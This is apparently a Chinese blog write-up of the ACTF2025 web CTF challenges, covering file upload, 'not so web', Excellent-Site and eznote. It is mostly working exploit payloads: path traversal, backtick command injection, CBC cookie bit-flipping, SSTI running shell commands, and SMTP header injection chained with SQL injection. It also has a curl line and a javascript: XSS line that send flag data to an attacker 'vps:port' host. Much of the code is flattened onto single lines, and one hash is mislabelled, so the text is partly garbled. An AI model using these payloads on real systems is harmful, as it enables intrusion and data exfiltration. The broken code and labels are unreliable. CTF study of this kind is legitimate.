当前位置: 首页 > news >正文

ACTF2025 - Web writeup

ACTF2025 - Web writeup

ACTF upload

进去后是一个登录界面,输入用户名后登录,然后到一个文件上传的界面。

/upload?file_path= 处,可以实现任意文件读取,文件内容保存在 img 标签中的 base64 值中。

示例请求:

/upload?file_path=../../../../../../../../etc/passwd

继续读取:

/proc/self/cmdline

得知 app.py 路径,读源码:

import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, sessionapp = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')@app.route('/')
def index():if session.get('username'):return redirect(url_for('upload'))else:return redirect(url_for('login'))@app.route('/login', methods=['POST', 'GET'])
def login():if request.method == 'POST':username = request.form['username']password = request.form['password']if username == 'admin':if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0': #backdoorsession['username'] = usernamereturn redirect(url_for('index'))else:flash('Invalid password')else:session['username'] = usernamereturn redirect(url_for('index'))else:return '''<h1>Login</h1><h2>No need to register.</h2><form action="/login" method="post"><label for="username">Username:</label><input type="text" id="username" name="username" required><br><label for="password">Password:</label><input type="password" id="password" name="password" required><br><input type="submit" value="Login"></form>'''@app.route('/upload', methods=['POST', 'GET'])
def upload():if not session.get('username'):return redirect(url_for('login'))if request.method == 'POST':f = request.files['file']file_path = str(uuid.uuid4()) + '_' + f.filenamef.save('./uploads/' + file_path)return redirect(f'/upload?file_path={file_path}')else:if not request.args.get('file_path'):return '''<h1>Upload Image</h1><form action="/upload" method="post" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>'''else:file_path = './uploads/' + request.args.get('file_path')if session.get('username') != 'admin':with open(file_path, 'rb') as f:content = f.read()b64 = base64.b64encode(content)return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'else:os.system(f'base64 {file_path} > /tmp/{file_path}.b64')# with open(f'/tmp/{file_path}.b64', 'r') as f:#     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'return 'Sorry, but you are not allowed to view this image.'if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)

/upload 接口处,如果验证登录名为 admin 就可以进入 os.system 命令执行。

/login 接口处,如果账号为 admin,密码为 backdoor(md5 值为 32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0)即可登录 admin 账户。

admin 登录后,访问:

/upload?file_path=`ls / > /tmp/1.txt`

ls / 的内容写入 /tmp/1.txt

再访问:

/upload?file_path=../../../../../../../../tmp/1.txt

发现有个 Fl4g_is_H3r3

再访问:

/upload?file_path=../../../../../../../../Fl4g_is_H3r3

把 base64 的值解码即得到 flag


not so web 1

一进去是 Base64 编码的字符串,解密后是源代码。

代码审计发现可以先使用 CBC 翻转攻击 修改用户名,然后利用 SSTI 漏洞。

我们注册账号如下:

  • 用户名:zdmin
  • 密码:123456

然后复制 Cookie 并解密:

import base64
import binasciicookie = "wwMdpFGo0LWQaPsH8s2DiP+tBCDjt/Y/odSHX5NNjaycaLYsPZjrXB+1f6X1R/42nqHM+zh2JW2FuSxy5wGOkZQ57oKGceHy3u9nxPIq7h61Bgdd3zkVBbHZumF+hHGG"
decoded_data = base64.b64decode(cookie)iv = decoded_data[:16]
encrypted = decoded_data[16:]
print(decoded_data)
print(decoded_data.hex())
print("IV (hex):", iv.hex())
print("Encrypted (hex):", encrypted.hex())

运行脚本得到:

c3031da451a8d0b59068e007f2cd8388ffad0420e3b7f63fa1d4875f934d8dac9c68b62c3d98eb5c1fb57fa5f547fe369ea1ccfb3876256d85b92c72e7018e919439ee828671e1f2deef67c4f22aee1eb506075ddf391505b1d9ba617e847186
IV (hex): c3 03 1d a4 51 a8 d0 b5 90 68 fb 07f2cd8388
Encrypted (hex): ffad0420e3b7f63fa1d4875f934d8dac9c68b62c3d98eb5c1fb57fa5f547fe369ea1ccfb3876256d85b92c72e7018e919439ee828671e1f2deef67c4f22aee1eb506075ddf391505b1d9ba617e847186

根据本地尝试数据:

{"name": "zdmin", "password_raw": "123456", "register_time": 1745636131}

应该在第 11 字节处将 z 改为 a,变为 admin

执行异或计算:

cipher_11_hex = "fb"  
cipher_11_dec = int(cipher_11_hex, 16)  # 转为十进制
print(cipher_11_dec)# 计算异或结果
result_dec = cipher_11_dec ^ ord('z') ^ ord('a')
result_hex = hex(result_dec)# 输出结果
print(f"cipher[11] (hex): 0x{cipher_11_hex}")
print(f"ord('z'): {ord('z')} (0x{ord('z'):02x})")
print(f"ord('a'): {ord('a')} (0x{ord('a'):02x})")
print(f"Result (decimal): {result_dec}")
print(f"Result (hex): {result_hex}")  
print(f"Result as char: {chr(result_dec)}")

重新构造并输出新的 Cookie:

a = "c3031da451a8d0b59068e007f2cd8388ffad0420e3b7f63fa1d4875f934d8dac9c68b62c3d98eb5c1fb57fa5f547fe369ea1ccfb3876256d85b92c72e7018e919439ee828671e1f2deef67c4f22aee1eb506075ddf391505b1d9ba617e847186"
a_bytes = binascii.unhexlify(a)  # 转为 bytes
b = base64.b64encode(a_bytes).decode()  # Base64 编码并转为字符串
print(b)

对比发现修改了一个字节:

原 Cookie:
wwMdpFGo0LWQaPsH8s2DiP+tBCDjt/Y/odSHX5NNjaycaLYsPZjrXB+1f6X1R/42nqHM+zh2JW2FuSxy5wGOkZQ57oKGceHy3u9nxPIq7h61Bgdd3zkVBbHZumF+hHGG修改后:
wwMdpFGo0LWQaOAH8s2DiP+tBCDjt/Y/odSHX5NNjaycaLYsPZjrXB+1f6X1R/42nqHM+zh2JW2FuSxy5wGOkZQ57oKGceHy3u9nxPIq7h61Bgdd3zkVBbHZumF+hHGG

之后触发 SSTI 漏洞:

?payload={{url_for.__globals__.os.popen("cat flag.txt").read()}}

以下是你提供内容的纯格式整理版 Markdown,仅调整结构与格式,未增删任何原始信息:


not so web 2

发现 parse_cookie 函数的问题,验签函数核心在于:

PKCS1_v1_5.new(public_key).verify(msg_hash, sig)

但查看文档得知:

也就是说,如果签名有效,方法正常返回;如果签名无效,方法会抛出 ValueErrorTypeError 异常。

因此,该函数并没有实际的验签逻辑,只是判断签名是否有效。

我们只需要将用户名改为 admin 并保证签名有效即可通过验证,之后仍然可以触发 SSTI 漏洞。

Payload 1:

{{ lipsum["\x5f\x5fglobals\x5f\x5f"].os.popen("ls").read() }}

Payload 2:

{{ lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag.txt")|attr("read")() }}

Excellent-Site

题目描述
127.0.0.1 ezmail.org(意思是配置了hosts)

附件如下:

import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *app = Flask(__name__)def get_subjects(username, password):imap_server = "ezmail.org"imap_port = 143try:mail = imaplib.IMAP4(imap_server, imap_port)mail.login(username, password)mail.select("inbox")status, messages = mail.search(None, 'FROM "admin@ezmail.org"')if status != "OK":return ""subject = ""latest_email = messages[0].split()[-1]status, msg_data = mail.fetch(latest_email, "(RFC822)")for response_part in msg_data:if isinstance(response_part, tuple):msg = email.message_from_bytes(response_part[1])subject, encoding = decode_header(msg["Subject"])[0]if isinstance(subject, bytes):subject = subject.decode(encoding if encoding else 'utf-8')mail.logout()return subjectexcept:return "ERROR"def fetch_page_content(url):try:parsed_url = urlparse(url)if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':return "SSRF Attack!"response = requests.get(url)if response.status_code == 200:return response.textelse:return "ERROR"except:return "ERROR"@app.route("/report", methods=["GET", "POST"])
def report():message = ""if request.method == "POST":url = request.form["url"]content = request.form["content"]smtplib._quote_periods = lambda x: xmail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""try:server = smtplib.SMTP("ezmail.org")mail_content = smtplib._fix_eols(mail_content)mail_content = mail_content.format(url=url, content=content)server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)message = "Submitted! Now wait till the end of the world."except:message = "Send FAILED"return render_template("report.html", message=message)@app.route("/bot", methods=["GET"])
def bot():requests.get("http://ezmail.org:3000/admin")return "The admin is checking your advice(maybe)"@app.route("/admin", methods=["GET"])
def admin():ip = request.remote_addrif ip != "127.0.0.1":return "Forbidden IP"subject = get_subjects("admin", "p@ssword")if subject.startswith("http://ezmail.org"):page_content = fetch_page_content(subject)return render_template_string(f"""<h2>Newest Advice(from myself)</h2><div>{page_content}</div>""")return ""@app.route("/news", methods=["GET"])
def news():news_id = request.args.get("id")if not news_id:news_id = 1conn = sqlite3.connect("news.db")cursor = conn.cursor()cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")result = cursor.fetchone()conn.close()if not result:return "Page not found.", 404return result[0]@app.route("/")
def index():return render_template("index.html")if __name__ == "__main__":app.run(host="0.0.0.0", port=3000)

/news 这里有 SQL 注入,sqlmap跑了一遍,数据库里没有什么有效信息。

一开始,思路主要集中在绕过waf上,但后来才想出来这里的每一个接口都是有用的

1、通过/news可以构造返回值为任意字符,进而构造SSTI payload(从而绕过了fetch_page_content函数)
http://ezmail.org:3000/news?id=-1 UNION SELECT '{{lipsum.__globals__.os.popen("cat /flag > app.py").read()}}'

2、将构造好的payload在/report接口出以url参数替换SMTP协议部分的subject部分(payload中还需要用Resent-From头来绕过发件人为admin@ezmail.org这个限制)

3、访问/bot触发SSTI,命令执行

为了正确地处理邮件的收发,我们还需要在本地搭建一个邮件服务器:

# 使用 Docker 快速部署邮件服务器
docker run -d --name ctfmail4 \-p 25:25 \-e SMTP_SERVER=ezmail.org \-e SMTP_USERNAME=admin@ezmail.org \-e SMTP_PASSWORD='p@ssword' \-e SERVER_HOSTNAME=mail.ezmail.org \juanluisbaptiste/postfix:latest

改造后的app.py,便于本地测试

import logging
import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *app = Flask(__name__)
# app.logger.setLevel(logging.DEBUG)def get_subjects(username, password):imap_server = "ezmail.org"imap_port = 143try:mail = imaplib.IMAP4(imap_server, imap_port)mail.login(username, password)mail.select("inbox")status, messages = mail.search(None, 'FROM "admin@ezmail.org"')if status != "OK":return ""subject = ""latest_email = messages[0].split()[-1]status, msg_data = mail.fetch(latest_email, "(RFC822)")for response_part in msg_data:if isinstance(response_part, tuple):msg = email.message_from_bytes(response_part  [1])subject, encoding = decode_header(msg["Subject"])  [0]if isinstance(subject, bytes):subject = subject.decode(encoding if encoding else 'utf-8')mail.logout()return subjectexcept:return "ERROR"#解析url,当url满足 http & hostname=ezmail.org时,访问url,返回网页内容
def fetch_page_content(url):try:parsed_url = urlparse(url)if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':return "SSRF Attack!"response = requests.get(url)if response.status_code == 200:return response.textelse:return "ERROR"except:return "ERROR"@app.route("/admin", methods=["GET"])
def admin():print('admin1')ip = request.remote_addrif ip != "127.0.0.1":return "Forbidden IP"subject = get_subjects("admin", "p@ssword")if subject.startswith("http://ezmail.org"):page_content = fetch_page_content(subject)return render_template_string(f"""<h2>Newest Advice(from myself)</h2><div>{page_content}</div>""")return ""@app.route("/ssti", methods=["GET"])
def admin1():page_content = request.args.get("c")return render_template_string(f"""<h2>Newest Advice(from myself)</h2><div>{page_content}</div>""")@app.route("/report", methods=["GET", "POST"])
def report():message = ""if request.method == "POST":url = request.form["url"]content = request.form["content"]smtplib._quote_periods = lambda x: xmail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""try:server = smtplib.SMTP("localhost", 1026)mail_content = smtplib._fix_eols(mail_content)mail_content = mail_content.format(url=url, content=content)print(f"mail_content is : {mail_content}")server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)return mail_contentmessage = "Submitted! Now wait till the end of the world."except:message = "Send FAILED"return render_template("report.html", message=message)@app.route("/bot", methods=["GET"])
def bot():requests.get("http://ezmail.org:3000/admin")return "The admin is checking your advice(maybe)"@app.route("/test", methods=["POST"])
def fetch_page_contentTEST():url = request.form.get("url", "")print(f"[DEBUG] 收到的URL: {url}")try:parsed_url = urlparse(url)print(f"[DEBUG] 解析后的URL: {parsed_url}")print(f"[DEBUG] Scheme: {parsed_url.scheme}")print(f"[DEBUG] Hostname: {parsed_url.hostname}")if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':print("[DEBUG] URL检测不通过,返回SSRF Attack!")return "SSRF Attack!"print(f"[DEBUG] 发送请求到: {url}")response = requests.get(url)print(f"[DEBUG] 返回状态码: {response.status_code}")if response.status_code == 200:print("[DEBUG] 成功拿到网页内容")return response.textelse:print("[DEBUG] 请求失败,状态码非200")return "ERROR"except Exception as e:print(f"[DEBUG] 出现异常: {e}")return "ERROR"#数据库查询
@app.route("/news", methods=["GET"])
def news():# return '123444'news_id = request.args.get("id")if not news_id:news_id = 1conn = sqlite3.connect("news.db")cursor = conn.cursor()cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")result = cursor.fetchone()conn.close()if not result:return "Page not found.", 404return result[0]@app.route("/")
def index():return render_template("index.html")if __name__ == "__main__":app.run(host="0.0.0.0", port=3000,debug=True)

最后的payload如下:
(注意payload中的端口3000,十分致命)

import time
import requestsurl = "题目地址"# SSTI Payload
payload = "{{lipsum.__globals__.os.popen(\"curl%20http://vps:port/`cat /flag|base64`\").read()}}"
# 邮件头注入
subject = f"http://ezmail.org:3000/news?id=-1 UNION SELECT '{payload}'\r\nFrom: admin@ezmail.org\r\nResent-From: admin@ezmail.org"data = {"url": subject, "content": ""}
res_1 = requests.post(f"{url}/report", data=data)
res_2 = requests.get(f"{url}/bot")print('done.')

eznote

js伪协议

app.js

const express = require('express')
const session = require('express-session')
const { randomBytes } = require('crypto')
const fs = require('fs')
const spawn = require('child_process')
const path = require('path')
const { visit } = require('./bot')
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');const DOMPurify = createDOMPurify(new JSDOM('').window);const LISTEN_PORT = 3000
const LISTEN_HOST = '0.0.0.0'const app = express()app.set('views', './views')
app.set('view engine', 'html')
app.engine('html', require('ejs').renderFile)app.use(express.urlencoded({ extended: true }))app.use(session({secret: randomBytes(4).toString('hex'),saveUninitialized: true,resave: true,}))app.use((req, res, next) => {if (!req.session.notes) {req.session.notes = []}next()
})const notes = new Map()setInterval(() => { notes.clear() }, 60 * 1000);function toHtml(source, format){if (format == undefined) {format = 'markdown'}let tmpfile = path.join('notes', randomBytes(4).toString('hex'))fs.writeFileSync(tmpfile, source)let res = spawn.execSync(`pandoc -f ${format} ${tmpfile}`).toString()// fs.unlinkSync(tmpfile)return DOMPurify.sanitize(res)
}app.get('/ping', (req, res) => {res.send('pong')
})app.get('/', (req, res) => {res.render('index', { notes: req.session.notes })
})app.get('/notes', (req, res) => {res.send(req.session.notes)
})app.get('/note/:noteId', (req, res) => {let { noteId } = req.paramsif(!notes.has(noteId)){res.send('no such note')return} let note = notes.get(noteId)res.render('note', note)
})app.post('/note', (req, res) => {let noteId = randomBytes(8).toString('hex')let { title, content, format } = req.bodyif (!/^[0-9a-zA-Z]{1,10}$/.test(format)) {res.send("illegal format!!!")return}notes.set(noteId, {title: title,content: toHtml(content, format)})req.session.notes.push(noteId)res.send(noteId)
})app.get('/report', (req, res) => {res.render('report')
})app.post('/report', async (req, res) => {let { url } = req.bodytry {await visit(url)res.send('success')} catch (err) {console.log(err)res.send('error')}
})app.listen(LISTEN_PORT, LISTEN_HOST, () => {console.log(`listening on ${LISTEN_HOST}:${LISTEN_PORT}`)
})

bot.js

const puppeteer = require('puppeteer')
const process = require('process')
const fs = require('fs')const FLAG = (() => {let flag = 'flag{test}'if (fs.existsSync('flag.txt')){flag = fs.readFileSync('flag.txt').toString()fs.unlinkSync('flag.txt')} return flag
})()const HEADLESS = !!(process.env.PROD ?? false)const sleep = (sec) => new Promise(r => setTimeout(r, sec * 1000))async function visit(url) {let browser = await puppeteer.launch({headless: HEADLESS,// executablePath: '/usr/bin/chromium',args: ['--no-sandbox'],})let page = await browser.newPage()await page.goto('http://localhost:3000/')await page.waitForSelector('#title')await page.type('#title', 'flag', {delay: 100})await page.type('#content', FLAG, {delay: 100})await page.click('#submit', {delay: 100})await sleep(3)console.log('visiting %s', url)await page.goto(url)await sleep(30)await browser.close()
}module.exports = {visit
}

flag在bot.js的visit函数中作为content的值回显

async function visit(url) {let browser = await puppeteer.launch({headless: HEADLESS,// executablePath: '/usr/bin/chromium',args: ['--no-sandbox'],})let page = await browser.newPage()await page.goto('http://localhost:3000/')await page.waitForSelector('#title')await page.type('#title', 'flag', {delay: 100})await page.type('#content', FLAG, {delay: 100})await page.click('#submit', {delay: 100})await sleep(3)console.log('visiting %s', url)await page.goto(url)await sleep(30)await browser.close()
}

而app.js中的/report接口调用了visit函数,

app.post('/report', async (req, res) => {let { url } = req.bodytry {await visit(url)res.send('success')} catch (err) {console.log(err)res.send('error')}
})

逻辑:访问/report接口,服务器会先提交一份包含flag的笔记(但笔记对应的noteid未知),然后访问传入的url。

只要获取到对应的noteid,就获取到了flag

可以在 /report 中提交url 参数,利用javascript伪协议,通过 xss 访问/notes接口,获得 bot 的 noteId ,从而获得 flag

payload:

javascript:fetch('/notes').then(r=>r.text()).then(d=>{new Image().src='http://vps:port/?data='+encodeURIComponent(d)})

相关文章:

ACTF2025 - Web writeup

ACTF2025 - Web writeup ACTF upload 进去后是一个登录界面&#xff0c;输入用户名后登录&#xff0c;然后到一个文件上传的界面。 在 /upload?file_path 处&#xff0c;可以实现任意文件读取&#xff0c;文件内容保存在 img 标签中的 base64 值中。 示例请求&#xff1a;…...

使用Java实现HTTP协议服务:从自定义服务器到内置工具

在Web开发领域,HTTP协议是服务器与客户端(如Web浏览器)通信的核心。Java作为一种多功能且强大的编程语言,提供了多种方法来实现HTTP协议服务,满足从学习实验到生产部署的各种需求。本文将深入探讨在Java中实现HTTP服务的三种主要方法:使用ServerSocket构建自定义HTTP服务…...

【星海随笔】信息安全相关标准

重要的国际信息安全标准> 国际标准化组织&#xff08;ISO&#xff09; 该组织成立于1947年2月23日&#xff0c;总部位于瑞士日内瓦‌ 国际电工委员会&#xff08;IEC&#xff09; 成立于1906年&#xff0c;最初总部设在英国伦敦&#xff0c;但后来于1948年迁至瑞士日内瓦‌…...

检查当前 Docker 使用的 默认运行时(default runtime)方法

目录 ✅ 方法一&#xff1a;查看 Docker 配置文件&#xff08;最准确&#xff09; ✅ 方法二&#xff1a;使用 Docker info 命令 ✅ 方法三&#xff1a;检查特定容器的运行时 说明&#xff1a;常见的 Docker Runtime ✅ 方法一&#xff1a;查看 Docker 配置文件&#xff08…...

【论文阅读】基于客户端数据子空间主角度的聚类联邦学习分布相似性高效识别

Efficient distribution similarity identification in clustered federated learning via principal angles between client data subspaces -- 基于客户端数据子空间主角度的聚类联邦学习分布相似性高效识别 论文来源TLDR背景与问题两个子空间之间的主角&#xff08;Principa…...

MySQL 性能调优:从执行计划到硬件瓶颈

MySQL 性能调优&#xff1a;从执行计划到硬件瓶颈 一、性能调优的宏观视角与核心挑战 在数字化浪潮下&#xff0c;企业数据量呈指数级增长&#xff0c;MySQL 作为主流关系型数据库&#xff0c;面临着巨大的性能压力。某电商平台日均订单量突破千万&#xff0c;高峰期数据库响…...

a-range-picker 格式化 M2 为正确日期格式

直接打印 range-picker value 是一个满足 dayjs 规则的数组&#xff1a; Reactive<1. Array(2)1. 0:Reactive<1. M2>2. 1: M2 {$L: en, $u: undefined, $d: Fri May 02 2025 14:50:00 GMT0800 (中国标准时间), $y: 2025, $M: 4, …}3. length: 24. [[Prototype]]: Ar…...

shopping mall(document)

shopping mall&#xff08;document&#xff09; 商城的原型&#xff0c;学习&#xff0c;优化&#xff0c;如何比别人做的更好&#xff0c;更加符合大众的习惯 抄别人会陷入一个怪圈&#xff0c;就是已经习惯了&#xff0c;也懒了&#xff0c;也不带思考了。 许多产品会迫于…...

【软件设计师:软件】20.软件设计概述

一、软件设计基本原则 一、软件设计基本原则 1. 模块 是指执行某一特定任务的数据结构和程序代码。 将模块的接口和功能定义为其外部特性将模块的局部数据和实现该模块的程序代码称为内部特性。在模块设计时,最重要的原则就是实现信息隐蔽和模块独立。 2 . 信息隐蔽 将每…...

ArcScroll: 弧形滑动控件

一. 什么是ArcScroll? ArcScroll是一种基于Scroll控件实现的弧形滑动控件。可以让Scroll内容项沿着一个圆心的轨迹滑动&#xff0c;从而实现内容弧形滑动的效果。如下图&#xff1a; 水平滑动&#xff1a; 垂直滑动&#xff1a; 二. 实现方案 以下&#xff0c;以水平的方向…...

芋道框架 账号未登录、租户标识未传递

一. 账号未登陆 {"code": 401,"data": null,"msg": "账号未登录" } 将接口中的 PreAuthorize 注解删除, 使用 PermitAll 注解, 设置 PermitAll 无需认证 Spring Security 中的 YudaoWebSecurityConfigurerAdapter 有详细说明 PostM…...

【计算机视觉】OpenCV项目实战:get_inverse_perspective:基于OpenCV的透视图转化为不同平面

get_inverse_perspective&#xff1a;逆透视变换的算法实现与实战指南 一、项目概述与技术背景1.1 核心功能与技术价值1.2 逆透视变换原理1.3 技术指标对比 二、环境配置与算法实现2.1 硬件要求2.2 软件部署依赖安装核心代码结构 2.3 校准参数配置 三、核心算法优化3.1 矩阵运算…...

Jsoup与HtmlUnit:两大Java爬虫工具对比解析

Jsoup&#xff1a;HTML解析利器 定位&#xff1a;专注HTML解析的轻量级库&#xff08;也就是快&#xff0c;但动态页面无法抓取&#xff09; 核心能力&#xff1a; DOM树解析与CSS选择器查询 HTML净化与格式化 支持元素遍历与属性提取 应用场景&#xff1a;静态页面数据抽…...

使用 ANSYS AEDT(单向耦合)进行高功率同轴射频滤波器的热分析

电热模拟 当今无线射频设备日益复杂&#xff0c;对大型复杂射频设计的精确高效仿真需求也随之增加。在设计早期识别和预测潜在问题可以节省资源、时间和成本。热量会降低电子设备的性能和可靠性&#xff0c;因此热分析对于确定设备在实际工作条件下是否能达到预期性能至关重要…...

Baklib实战企业内容与中台管理差异解析

企业内容管理中台本质差异 企业内容管理系统&#xff08;CMS&#xff09;与内容中台的核心差异在于战略定位与技术路径的本质性区隔。传统CMS聚焦于内容存储与审批流程的线性管理&#xff0c;而内容中台则构建起全域数据服务中枢&#xff0c;通过API接口实现跨系统内容资产调用…...

API请求参数有哪些?

通用参数 app_key&#xff1a;应用的唯一标识&#xff0c;用于验证应用身份&#xff0c;调用API时必须提供。 timestamp&#xff1a;请求时间戳&#xff0c;通常为当前时间的毫秒级时间戳&#xff0c;用于防止请求被重放攻击。 format&#xff1a;返回数据的格式&#xff0c;…...

探秘 InSAR:数据处理与形变信息提取全解析

技术点目录 InSAR技术应用现状分析及其发展InSAR原理、技术方法讲解数据处理环境建立与软件熟悉SAR影像数据获取、DEM数据获取InSAR数据前处理技术InSAR地形三维重建DInSAR形变信息提取时序InSAR技术形变速率与形变时间序列信息获取星地InSAR技术监测案例了解更多 ——————…...

Nginx静态资源增加权限验证

Nginx静态资源增加权限验证 一、前言二、解决思路2.1、方式一2.2、方式二三、代码3.1、方式一3.1.1、前端代码3.1.2、后端代码3.1.3、Nginx调整3.1.4、注意事项3.2.方式二四、参考资料一、前言 在项目开发的过程中,项目初期,及大部分小型项目都是使用共享磁盘进行静态文件的…...

初识MySQL

1. 什么是数据库 2. 什么是MySQL 我们在使用MySQL与Java进行交互时使用的接口为JDBC 3. MySQL安装与SQLyog管理工具 附录将会提供相关绿色版软件&#xff0c;不用从官网下载了 配置环境变量&#xff1a; 双击打开&#xff0c;新建&#xff08;根据mysql的根目录写path&#xff…...

计算机网络:深度解析基于链路状态的内部网关协议IS-IS

IS-IS(Intermediate System to Intermediate System)路由协议详解 IS-IS(Intermediate System to Intermediate System)是一种基于链路状态的内部网关协议(IGP),最初由ISO为OSI(开放系统互连)模型设计,后经扩展支持IP路由。它广泛应用于大型运营商网络、数据中心及复…...

python---kafka常规使用

安装依赖 在开始之前&#xff0c;需要安装 kafka-python 库。可以通过以下命令安装&#xff1a; pip install kafka-python创建生产者 生产者负责将消息发送到 Kafka 主题。以下是一个简单的生产者示例&#xff1a; from kafka import KafkaProducer import json import ti…...

图像泊松融合(convpyr_small版本)

一、背景介绍 前面已经讲过泊松融合算法和它的fft快速版本实现了&#xff0c;想看下还有没有更快的版本&#xff0c;继续翻了下论文&#xff0c;找到了更快速的版本&#xff1a;Convolution Pyramids 。 找到它的matlab代码跑了下&#xff0c;效果还不错。学习记录&#xff0c;…...

ABP vNext + EF Core 实战性能调优指南

ABP vNext EF Core 实战性能调优指南 &#x1f680; 目标 本文面向中大型 ABP vNext 项目&#xff0c;围绕查询性能、事务隔离、批量操作、缓存与诊断&#xff0c;系统性地给出优化策略和最佳实践&#xff0c;帮助读者快速定位性能瓶颈并落地改进。 &#x1f4d1; 目录 ABP vN…...

Spark,在shell中运行RDD程序

在hdfs中/wcinput中创建一个文件&#xff1a;word2.txt在里面写几个单词 启动hdfs集群 [roothadoop100 ~]# myhadoop start [roothadoop100 ~]# cd /opt/module/spark-yarn/bin [roothadoop100 ~]# ./spark-shell 写个11测试一下 按住ctrlD退出 进入环境&#xff1a;spar…...

【Python 元组】

Python 中的元组&#xff08;Tuple&#xff09;是一种不可变的有序数据集合&#xff0c;用于存储多个元素的序列。与列表&#xff08;List&#xff09;类似&#xff0c;但元组一旦创建后无法修改&#xff0c;这种特性使其在特定场景下具有独特优势。 一、核心特性 不可变性&am…...

如何将邮件送达率从60%提升到95%

一、邮件送达率的重要性 邮件送达率是邮件营销效果的关键指标。高送达率能增加邮件被打开、阅读和互动的机会&#xff1b;低送达率则可能导致邮件被误判为垃圾邮件&#xff0c;浪费企业资源。 二、影响邮件送达率的因素及优化策略 1.发件人信誉 建立良好信誉&#xff1a;发…...

【Python】‌Python单元测试框架unittest总结

1. 本期主题&#xff1a;Python单元测试框架unittest详解 unittest是Python内置的单元测试框架&#xff0c;遵循Java JUnit的"测试驱动开发"&#xff08;TDD&#xff09;理念&#xff0c;通过继承TestCase类实现测试用例的模块化组织。本文聚焦于独立测试脚本的编写…...

机器人运动控制技术简介

机器人运动控制详解&#xff1a;从基础原理到技术方案 一、机器人运动控制本质 机器人运动控制是通过算法协调电机、传感器和机械结构&#xff0c;实现精确的位姿&#xff08;位置姿态&#xff09;控制。其核心要解决三个问题&#xff1a; ​​去哪里​​ - 路径规划&#x…...

在linux系统中,没有网络如何生成流量以使得wireshark能捕获到流量

在没有网络连接的情况下&#xff0c;仍然可以通过生成本地流量来测试Wireshark的捕获功能。以下是一些方法可以在Linux系统中生成本地流量&#xff0c;以便Wireshark可以捕获到这些流量&#xff1a; 1. 使用ping命令 ping命令可以生成ICMP&#xff08;Internet Control Messa…...

常见图像融合算法(图像泊松融合)

一、背景介绍 上一篇已经讲过alpha和金字塔融合基本实现&#xff0c;这里主要是继续对图像常用的泊松融合算法和他的一些性能版本实现的基本讲解。 二、原始版本 1、基本原理 图像泊松融合也是普遍使用的常规算法&#xff0c;很多小伙伴已经分享过它的基本原理和实现了&#…...

大疆无人机搭载树莓派进行目标旋转检测

环境部署 首先是环境创建&#xff0c;创建虚拟环境&#xff0c;名字叫 pengxiang python -m venv pengxiang随后激活环境 source pengxiang/bin/activate接下来便是依赖包安装过程了: pip install onnxruntime #推理框架 pip install fastapi uvicorn[standard] #网络请求…...

tryhackme——Active Directory Basics

文章目录 一、Windows Domains二、活动目录AD2.1 Active Directory Users and Computers2.2 安全组和组织单位OU 三、管理AD中的用户3.1 删除额外的OUs和用户3.2 委托 四、管理AD中的计算机五、组策略5.1 查看GPO5.2 GPO分发5.3 新建GPO 六、认证方式6.1 Kerberos认证6.2 NetNT…...

Linux基础(关于进程相关命令)

1.查看系统进程 ps -aux 查看所有的系统进程 我们一般配合 | grep 使用&#xff0c;比如 ps -aux | grep bin 就是查看所有bin的进程信息 2.查看系统实时进程 top 和Windows的任务管理器的功能类似 3.结束进程 kill -9 PID 根据上面的进程信息可得&#xff0c;每个进程都有一个…...

切比雪夫不等式详解

切比雪夫不等式详解 一、引言 切比雪夫不等式&#xff08;Chebyshev’s Inequality&#xff09;是概率论和统计学中最重要的基本定理之一&#xff0c;由俄国数学家切比雪夫&#xff08;P. L. Chebyshev&#xff0c;1821-1894&#xff09;提出。它为我们提供了一个强大工具&am…...

自然语言处理 (NLP) 技术发展:从规则到大型语言模型的演进之路

自然语言处理 (NLP) 技术发展:从规则到大型语言模型的演进之路 自然语言处理(NLP)是人工智能领域中一个极具挑战性和活力的分支,其目标是赋予计算机理解、解释和处理人类语言的能力。从早期的基于规则的系统到当前由大型语言模型(LLM)引领的时代,NLP 技术经历了深刻的演…...

CurrentHashMap的整体系统介绍及Java内存模型(JVM)介绍

当我们提到ConurrentHashMap时&#xff0c;先想到的就是HashMap不是线程安全的&#xff1a; 在多个线程共同操作HashMap时&#xff0c;会出现一个数据不一致的问题。 ConcurrentHashMap是HashMap的线程安全版本。 它通过在相应的方法上加锁&#xff0c;来保证多线程情况下的…...

手撕红黑树的 左旋 与 右旋

一、为什么需要旋转&#xff1f; 在红黑树中&#xff0c;插入或删除节点可能会破坏其五条性质&#xff0c;比如高度不平衡或连续红节点。 为了恢复红黑性质&#xff0c;我们采用局部旋转来“调整树形结构”&#xff0c;保持平衡。 二、旋转本质是“局部变形” 左旋和右旋不会…...

Java——反射

目录 5 反射 5 反射 类信息&#xff1a;方法、变量、构造器、继承和实现的类或接口。反射&#xff1a;反射是 Java 中一项强大的特性&#xff0c;它赋予了程序在运行时动态获取类的信息&#xff0c;并能够调用类的方法、访问类的字段以及操作构造函数等的能力。通过反射&#…...

一文了解Python中的requests库:网络交互的基础

